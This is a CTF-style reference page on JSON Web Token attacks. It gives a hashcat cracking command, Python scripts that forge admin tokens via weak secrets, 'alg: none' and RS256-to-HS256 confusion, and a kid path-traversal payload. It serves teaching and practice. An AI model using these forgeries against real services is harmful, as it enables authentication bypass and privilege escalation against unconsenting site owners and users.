JWT Abuse

Category: Web Exploitation

Topic: JSON Web Token Vulnerabilities

Overview

JWT (JSON Web Token) vulnerabilities are a common web challenge category. This page covers the main attack vectors encountered across HTB, THM, and CTF competitions.

JWT Primer

A JWT has three parts separated by dots:

header.payload.signature

Example decoded:

// Header
{ "alg": "HS256", "typ": "JWT" }

// Payload
{ "sub": "user123", "role": "user", "iat": 1700000000 }

The server trusts the payload only if the signature is valid — attacks target the signature verification logic.

THM

Vulnerability: Weak secret / brute-force

If the secret key is weak, crack it with hashcat:

hashcat -a 0 -m 16500 eyJhbGc...token.here /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

Once the secret is known, forge any payload:

import jwt
secret = "supersecret"
payload = {"sub": "admin", "role": "administrator"}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

HTB

Vulnerability: alg: none attack

Some libraries accept "alg": "none" — no signature required:

import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=')

header = b64url(json.dumps({"alg": "none", "typ": "JWT"}).encode())
payload = b64url(json.dumps({"sub": "admin", "role": "admin"}).encode())

forged = header + b'.' + payload + b'.'
print(forged.decode())

CTF Competitions

RS256 → HS256 Algorithm Confusion

When the server uses RS256, grab the public key from /jwks.json and sign with it as an HS256 secret:

import jwt
public_key = open('pubkey.pem').read()
payload = {"user": "admin", "admin": True}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)

Kid Header Injection

The kid field tells the server which key to use. If unsanitised, point it to a known file:

{ "alg": "HS256", "kid": "../../dev/null" }

Then sign with an empty string as the secret.

Quick Reference

Tools

• jwt.io — decode/encode in browser
• hashcat -m 16500 — crack HS256 tokens
• Burp Suite JWT Editor extension
• PyJWT — scripting attacks